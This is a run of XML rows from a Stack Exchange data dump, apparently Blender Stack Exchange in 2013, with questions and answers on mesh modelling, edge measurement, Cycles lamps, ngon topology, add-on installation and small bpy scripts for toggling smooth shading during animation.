  <row Id="1673" PostTypeId="2" ParentId="1659" CreationDate="2013-07-06T11:58:02.857" Score="6" Body="&lt;h1&gt;Another method to create a face with a vertex at the centre.&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your vertices:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZGFyQ.png&quot; alt=&quot;select vertices&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Make Face&lt;/em&gt; &lt;kbd&gt;F&lt;/kbd&gt;, this'll create a ngon:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kq22a.png&quot; alt=&quot;make face&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Poke Faces&lt;/em&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;, this'll create a single vertex at the centre:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0hnpi.png&quot; alt=&quot;poke mesh&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastEditorUserId="290" LastEditDate="2013-07-06T14:16:50.730" LastActivityDate="2013-07-06T14:16:50.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1674" PostTypeId="1" CreationDate="2013-07-06T12:27:45.247" Score="27" ViewCount="46332" Body="&lt;p&gt;I have a female model and I want to know her waist width, so I select the edge loop, then use what tool? Is this only possible with python?&lt;/p&gt;&#xA;" OwnerUserId="903" LastEditorUserId="20" LastEditDate="2013-07-06T12:58:41.990" LastActivityDate="2016-12-31T11:51:02.220" Title="How to get selected edges length?" Tags="&lt;modeling&gt;&lt;measurement&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1675" PostTypeId="2" ParentId="1674" CreationDate="2013-07-06T12:42:47.833" Score="6" Body="&lt;p&gt;I recently updated an older script that does this:&#xA;&lt;a href=&quot;https://gist.github.com/zeffii/3839812&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/zeffii/3839812&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than poling automatically, you press sum when you need to know the combined lengths, this also takes into account the blender unit settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MD7DU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It also has a copy to clipboard function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;fair warning: it reports local measurements only at the moment. ( i should update that soon so you don't have to apply scale )&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-06T13:38:36.657" LastActivityDate="2013-07-06T13:38:36.657" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1676" PostTypeId="2" ParentId="1674" CreationDate="2013-07-06T13:01:56.223" Score="7" Body="&lt;p&gt;You're going to have to first enable an addon in your preferences called &lt;em&gt;Measure Panel&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, go to the 3D view and press &lt;kbd&gt;N&lt;/kbd&gt;. Scroll down to the very bottom and press the activate button on the Measure panel. Check &lt;em&gt;Edge Length&lt;/em&gt;, select your edge loop and press &lt;em&gt;Update Selection&lt;/em&gt;. The length slider will update with the length of your edge loop.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="12" LastEditDate="2013-07-30T00:42:13.307" LastActivityDate="2013-07-30T00:42:13.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1677" PostTypeId="1" AcceptedAnswerId="1696" CreationDate="2013-07-06T14:24:57.017" Score="10" ViewCount="8398" Body="&lt;p&gt;How can I make the lamps (area/point/spot) visible to camera in Cycles render?&#xA;Currently they are invisible to the camera, unlike custom mesh lights which can be seen unless camera visibility turned off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to see the lamp (ie point/sphere) directly in the camera.&lt;/p&gt;&#xA;" OwnerUserId="904" LastActivityDate="2016-02-05T06:40:47.113" Title="How to make lamp visible to camera in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1678" PostTypeId="2" ParentId="1670" CreationDate="2013-07-06T14:58:25.540" Score="7" Body="&lt;p&gt;The curve has same amount of edge loops between control points in the U direction of the curve (the setting you can set in the shape panel). UV space maps linearly to this, and changing this functionality would be hard if not impossible. Usually it's the desired functionality, preventing the textures sliding around if the curve is animated among other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however work around it by using two curves, one of which is just a straight line and holds the materials, textures, and resolution and bevel settings used for rendering. This curve then uses a curve modifier to copy the shape from another curve, which is used for just defining the shape of the final object. That way the rendered curve has uniform distribution of edge loops.&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-07-06T14:58:25.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1679" PostTypeId="1" CreationDate="2013-07-06T15:00:42.403" Score="1" ViewCount="1800" Body="&lt;p&gt;Does anyone know if there is some sort of visual programming software for Blender?&#xA;I know there is one called &quot;visual bpy&quot;. I &lt;a href=&quot;https://www.youtube.com/watch?v=7DKxgw24u0o&quot; rel=&quot;nofollow&quot;&gt;watched a demonstration of it&lt;/a&gt;. It looks quite promising and should save us a lot of time when writing a GUI in Blender.&#xA;Unfortunately, I can't find link to obtain this software even though I've been searching for it diligently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="566" LastEditorUserId="20" LastEditDate="2013-07-07T00:06:38.423" LastActivityDate="2013-07-07T00:20:53.497" Title="Visual programming with Blender Python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1680" PostTypeId="1" AcceptedAnswerId="1694" CreationDate="2013-07-06T16:18:28.707" Score="8" ViewCount="1742" Body="&lt;p&gt;The &lt;em&gt;Edge Split&lt;/em&gt; modifier doesn't give me desired results (even with angle set to 0 it looks different).&lt;/p&gt;&#xA;" OwnerUserId="905" LastEditorUserId="25" LastEditDate="2013-07-10T19:49:18.043" LastActivityDate="2014-03-05T08:02:28.333" Title="How to toggle between Flat and Smooth shading during animation?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;properties&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1681" PostTypeId="2" ParentId="1680" CreationDate="2013-07-06T19:24:02.137" Score="4" Body="&lt;p&gt;Let me preface this with saying that this method won't let you set key-frames with the UI, &lt;a href=&quot;https://blender.stackexchange.com/a/1694/47&quot;&gt;Aldrik's approach&lt;/a&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My method lends itself better to a procedural approach to animation where key-framing isn't important. This script accepts a list of &lt;code&gt;start-end&lt;/code&gt; ranges, which map to the frame numbers that should be shaded flat or smooth.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hit run on this script, then start the animation render  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def list_to_frames(ranges):&#xA;    k = set()&#xA;    for begin, finish in ranges:&#xA;        k = k | {i for i in range(begin, finish)}&#xA;    return k&#xA;&#xA;def my_handler(scene):&#xA;    frame = scene.frame_current&#xA;&#xA;    obj = bpy.data.objects[obj_name]&#xA;&#xA;    # this assumes you are OK with doing a full sweep&#xA;    # and setting all to either smooth or flat.&#xA;    if not frame in frames:&#xA;        if obj.data.polygons[0].use_smooth == True:&#xA;            return&#xA;        for poly in obj.data.polygons:&#xA;            poly.use_smooth = True&#xA;    else:&#xA;        if obj.data.polygons[0].use_smooth == False:&#xA;            return&#xA;        for poly in obj.data.polygons:&#xA;            poly.use_smooth = False&#xA;&#xA;frames_to_flatshade = [[20,30],[45,54]]&#xA;obj_name = 'Cube'&#xA;frames = list_to_frames(frames_to_flatshade)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;https://gist.github.com/zeffii/5945040&quot; rel=&quot;nofollow noreferrer&quot;&gt;compacted version of this script&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-07-07T21:27:20.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1682" PostTypeId="2" ParentId="1674" CreationDate="2013-07-06T19:48:58.640" Score="21" Body="&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;I recommend using the newer &lt;a href=&quot;https://github.com/Antonioya/blender/tree/master/measureit&quot; rel=&quot;noreferrer&quot;&gt;measureit addon&lt;/a&gt; instead.&lt;/p&gt;&#xA;&lt;p&gt;To measure the sum of the length of a bunch of edges like this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the edges&lt;/li&gt;&#xA;&lt;li&gt;Set the Sum group in &lt;em&gt;Tool Shelf &amp;gt; Measurit &amp;gt; Tools&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;em&gt;Segment&lt;/em&gt; in &lt;em&gt;Tool Shelf &amp;gt; Measurit &amp;gt; Tools&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fq18D.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fq18D.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now the total length of those edges will be displayed at the bottom of the Measureit panel in the properties region (&lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Be aware that addons have &lt;a href=&quot;https://blender.stackexchange.com/q/5541/599&quot;&gt;no reliable way to track vertices&lt;/a&gt;, so if you modify the mesh your measurements may go awry.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Original answer&lt;/h2&gt;&#xA;&lt;p&gt;You could use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Sketching/Ruler_and_Protractor&quot; rel=&quot;noreferrer&quot;&gt;new Ruler/Protractor tool&lt;/a&gt; located in the &lt;em&gt;3D view &amp;gt; Tool Shelf &amp;gt; Ruler/Protractor&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I5zxj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that this was just &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Print_Tools&quot; rel=&quot;noreferrer&quot;&gt;added in Blender 2.67&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-05-09T20:24:16.793" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1683" PostTypeId="2" ParentId="1666" CreationDate="2013-07-06T19:53:07.877" Score="8" Body="&lt;p&gt;If you are on Linux, you could use &lt;code&gt;killall&lt;/code&gt; to send &lt;code&gt;SIGSTOP&lt;/code&gt; and &lt;code&gt;SIGCONT&lt;/code&gt; (see &lt;a href=&quot;https://blender.stackexchange.com/questions/582/how-can-i-pause-a-render-in-progress-and-then-resume-it-at-a-later-time/929#929&quot;&gt;this post&lt;/a&gt;) signals based on CPU temperature readings from &lt;code&gt;sensors&lt;/code&gt;.&lt;br&gt;&#xA;This would have the added advantage of pausing the render even mid-frame, as well as working for baking and other processing intensive jobs besides rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you could try is &lt;a href=&quot;http://en.wikipedia.org/wiki/Nice_%28Unix%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;nice values&lt;/a&gt;, however they are only relevant if you are using the computer for other things at the same time.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-08-14T16:31:00.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1684" PostTypeId="1" AcceptedAnswerId="1695" CreationDate="2013-07-06T20:13:32.727" Score="14" ViewCount="11870" Body="&lt;p&gt;I read somewhere that Ngons were nothing more than triangles masked as an Ngon.&lt;br&gt;&#xA;Some testing reveals this is not true, at least to some extent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two sub-surfed cylinders, one with an Ngon, the other with a Triangle Fan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bJcsQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The things that look like 6 sided Ngons in the Triangle Fan example are really quads, and the cap on top is really a lot of tris:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/969wF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, they are definitely different, but what &lt;em&gt;is&lt;/em&gt; the difference technically?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="55" LastEditDate="2017-10-09T02:08:41.510" LastActivityDate="2017-10-09T02:12:48.323" Title="What is the technical difference between an Ngon and a bunch of Triangles?" Tags="&lt;bmesh&gt;&lt;topology&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1685" PostTypeId="5" CreationDate="2013-07-06T20:15:39.613" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-06T20:15:39.613" LastActivityDate="2013-07-06T20:15:39.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1686" PostTypeId="4" CreationDate="2013-07-06T20:15:39.613" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-06T20:15:39.613" LastActivityDate="2013-07-06T20:15:39.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1687" PostTypeId="2" ParentId="1684" CreationDate="2013-07-06T20:18:34.783" Score="2" Body="&lt;p&gt;At the end of the day, it's all triangles - however the idea of NGons is an abstraction that helps the software deal with certain situations that come in handy when modelling (such as being able to slice a plane any which way you like, then extrude it)&lt;/p&gt;&#xA;" OwnerUserId="184" LastEditorUserId="72" LastEditDate="2013-07-07T13:10:57.120" LastActivityDate="2013-07-07T13:10:57.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1688" PostTypeId="1" AcceptedAnswerId="1689" CreationDate="2013-07-06T20:18:41.063" Score="39" ViewCount="156009" Body="&lt;p&gt;There is this addon that was built called Window Generator 2. It can be &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?270422-AddOn-Window-Generator-2&quot;&gt;found at this BA thread&lt;/a&gt;. However, when I go to the download link it shows up in a new tab as a bunch of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I download and use this addon in Blender?&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="12" LastEditDate="2013-07-06T20:34:12.053" LastActivityDate="2019-07-27T02:54:19.700" Title="Installing an addon" Tags="&lt;add-on&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1689" PostTypeId="2" ParentId="1688" CreationDate="2013-07-06T20:24:15.900" Score="41" Body="&lt;ol&gt;&#xA;&lt;li&gt;Download &lt;a href=&quot;http://dl.dropboxusercontent.com/u/23340323/add_Window.py&quot; rel=&quot;noreferrer&quot;&gt;the script&lt;/a&gt; (Right click on on the link or on the page it is on and choose &lt;em&gt;Save As...&lt;/em&gt;) and save it with a &lt;code&gt;.py&lt;/code&gt; extension for example.. &lt;code&gt;window_gen2.py&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open &lt;em&gt;User Preferences&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;) and under &lt;em&gt;Add-ons&lt;/em&gt;, click &lt;em&gt;Install from File&lt;/em&gt;. Then navigate to the file you downloaded and select it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WaCrC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WaCrC.png&quot; alt=&quot;Install from file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It should now appear in the window and you can tick the checkbox in the upper right to enable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ex0rG.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ex0rG.png&quot; alt=&quot;Enable&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you would like to have the add-on enabled every time you start Blender, click &lt;em&gt;Save User Settings&lt;/em&gt; at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can just save it and open it in the text editor and press &lt;em&gt;Run Script&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="9" LastEditDate="2015-07-24T07:11:46.873" LastActivityDate="2015-07-24T07:11:46.873" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1690" PostTypeId="2" ParentId="1684" CreationDate="2013-07-06T21:09:50.157" Score="7" Body="&lt;p&gt;When you use N-gons you are essentially saying &lt;em&gt;&quot;I don't care how this geometry is arranged -- for now&quot;&lt;/em&gt;, and you relinquish control of the underlying geometry to Blender's tessellator. If you do an N-gon fill of a profile (&lt;em&gt;edge-loop&lt;/em&gt;) you won't be able to control how faces are tessellated &lt;em&gt;under the hood&lt;/em&gt; for display or rendering. If you need the N-gon to behave a certain way then you have to edit it manually, e.g., do a face-inset or convert it to triangles/quads manually to control the geometry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the example below:&lt;br&gt;left side N-gon, right side underlying geometry that you don't have to worry about&lt;br&gt;&lt;em&gt;(until it becomes necessary)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.. or you may never be concerned about the underlying tessellation.&lt;br&gt;.. or the final output may not be tessellated &lt;em&gt;(in rare cases)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on your use-case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CXsP9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="55" LastEditDate="2017-10-09T02:12:48.323" LastActivityDate="2017-10-09T02:12:48.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1691" PostTypeId="1" AcceptedAnswerId="1969" CreationDate="2013-07-06T21:27:50.013" Score="21" ViewCount="14861" Body="&lt;p&gt;I made a complicated nodes setup for a material using Cycles.  Is there an easy simple way to peek at the data passing through any node, to view it as an image?  I desire something like an oscilloscope, where I can touch a probe to any point of the circuit and see what kind of signal is there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender Internal, I could make many Output nodes and hook them up anywhere, and they'd show the data as a texture on a sphere, cube, Suzanne or whatever.  There doesn't seem to be anything like this for Cycles nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of using Output to monitor textures along the &quot;circutry&quot;.  (This is not any sensible texture; just messing around with BI nodes.)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SbhAB.jpg&quot; alt=&quot;Blender BI nodes with Outputs to peek at data&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="606" LastEditDate="2013-07-06T22:03:11.360" LastActivityDate="2020-09-05T10:00:58.163" Title="Way of seeing data as image anywhere in a Cycles nodes setup?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1692" PostTypeId="2" ParentId="1679" CreationDate="2013-07-07T00:13:54.557" Score="2" Body="&lt;p&gt;Here is a direct &lt;a href=&quot;http://www.mediafire.com/download/s2vvlqofv3heqt6/VisualBPY.zip&quot; rel=&quot;nofollow&quot;&gt;download link&lt;/a&gt; for the script. It was in the description of the demo&amp;hellip; there is also a small &lt;a href=&quot;http://www.youtube.com/playlist?list=PL8A1DD070211FCEE7&quot; rel=&quot;nofollow&quot;&gt;youtube playlist&lt;/a&gt; dedicated to it and the rig used is available on &lt;a href=&quot;http://www.blendswap.com/blends/view/50469&quot; rel=&quot;nofollow&quot;&gt;BlendSwap&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="12" LastEditDate="2013-07-07T00:20:53.497" LastActivityDate="2013-07-07T00:20:53.497" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1693" PostTypeId="2" ParentId="1691" CreationDate="2013-07-07T02:17:45.040" Score="1" Body="&lt;p&gt;There is currently no way to do exactly this is cycles, but you could arrange your screen in such a way as to have a &quot;preview&quot; when you plug your nodes into a Cycles output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/erVjw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or also use the preview in &lt;em&gt;Properties Panel &gt; Materials &gt; Preview&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-07T19:17:26.237" LastActivityDate="2013-07-07T19:17:26.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1694" PostTypeId="2" ParentId="1680" CreationDate="2013-07-07T03:06:18.680" Score="8" Body="&lt;h1&gt;Animatable (custom property) toggle&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def toggle_shading(self, context=bpy.context):&#xA;    &quot;&quot;&quot;Toggle smooth shading&quot;&quot;&quot;&#xA;    value = self[&quot;use_smooth&quot;]&#xA;    if self.polygons[0].use_smooth is not value:&#xA;        for poly in self.polygons:&#xA;            poly.use_smooth = value&#xA;&#xA;def frame_handler(scene):&#xA;    &quot;&quot;&quot;Update shading on frame change&quot;&quot;&quot;&#xA;    for mesh in bpy.data.objects.data.meshes:&#xA;        try:&#xA;            toggle_shading(mesh)&#xA;        except KeyError:&#xA;            pass&#xA;&#xA;bpy.types.Mesh.use_smooth = bpy.props.BoolProperty(&#xA;    description=toggle_shading.__doc__, update=toggle_shading)&#xA;bpy.app.handlers.frame_change_pre.append(frame_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Paste the script above in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Text_editor&quot; rel=&quot;noreferrer&quot;&gt;Text Editor&lt;/a&gt;, click &lt;kbd&gt;Register&lt;/kbd&gt; and &lt;kbd&gt;Run Script&lt;/kbd&gt;.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Text block name must end with &quot;.py&quot; to activate the register functionality (run script on load).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the Properties Window, under Object Data, &lt;kbd&gt;Add&lt;/kbd&gt; a custom property with &lt;em&gt;Property Name&lt;/em&gt; &lt;code&gt;use_smooth&lt;/code&gt; and &lt;em&gt;Property Value&lt;/em&gt; of &lt;code&gt;0&lt;/code&gt;.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can now animate this value the toggle smooth shading.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Vyji.png&quot; alt=&quot;Added property&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-07T19:07:26.607" LastActivityDate="2013-07-07T19:07:26.607" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1695" PostTypeId="2" ParentId="1684" CreationDate="2013-07-07T10:22:12.343" Score="13" Body="&lt;p&gt;This question is very generic - but you give a very specific example (Subsurf) which happens to treat ngons differently to many triangles (to be clear - differently to a triangulated ngon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is something like ... &lt;code&gt;it depends&lt;/code&gt;: each modifier, tool, export-format and rendering engine can choose to use ngons / quads / triangles - differently. There are no fixed rules here, some tools triangulate internally to perform their calculations, others are able to handle ngon data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some general rules that &lt;strong&gt;mostly&lt;/strong&gt; apply.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rendering typically converts everything into triangles.&lt;/li&gt;&#xA;&lt;li&gt;For OpenGL display, quads/ngons are also triangulated.&lt;/li&gt;&#xA;&lt;li&gt;Some formats (OBJ, FBX for example) support ngons.&lt;/li&gt;&#xA;&lt;li&gt;For Blender's tools - ngon support varies, but most tools support them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that even in cases where ngons are triangulated, the normals from the ngons/quads are often used. So you may get a better looking model when smoothing is applied on the non-triangulated mesh data.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-10-09T02:07:22.813" LastActivityDate="2017-10-09T02:07:22.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1696" PostTypeId="2" ParentId="1677" CreationDate="2013-07-07T11:29:01.430" Score="4" Body="&lt;p&gt;The standard lights can't be made visible, it only works with mesh lights. I think this is because blender treats lamps different to emitting surfaces when rendering.&lt;/p&gt;&#xA;" OwnerUserId="907" LastEditorUserId="12" LastEditDate="2013-07-07T12:07:23.343" LastActivityDate="2013-07-07T12:07:23.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1697" PostTypeId="2" ParentId="1684" CreationDate="2013-07-07T12:38:25.523" Score="16" Body="&lt;p&gt;Subsurf does not treat tri, quad and ngon differently:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ELW6N.png&quot; alt=&quot;Subdividing a tri, quad, and ngon.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In each case the result follows exactly the same pattern:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Every edge is subdivided into exactly two edges.&lt;/li&gt;&#xA;&lt;li&gt;Every face is subdivided into n faces where n = original number of vertices. Every new face is a quad.&lt;/li&gt;&#xA;&lt;li&gt;A new vertex is created at the centre of the face. Every new face shares this vertex.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The difference in topology of the two results you showed can be more easily seen if we use simple subsurf (which does not smooth) and then apply the modifiers and look at the wireframes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5yOLA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result from subdividing the triangle fan has the extra edges (selected.) These extra edges are the result of subdividing the radial edges which connect the central vertex to the outside edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not demonstrate any fundamental difference between tris and ngons, because we can produce the same result using only triangles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8p6jV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left is a triangle fan composed of three triangles. On the right our equivalent &quot;ngon&quot; is simply a normal triangle. The result of subdivision is different and follows the same pattern we saw before with the cylinders. The same results would be seen with a triangle fan composed of four triangles and a quad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general it's much better to think of tris and quads as special cases of the ngon than to consider an ngon a &quot;bunch of triangles&quot; like a triangle fan or triangle strip.&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2013-07-07T12:38:25.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
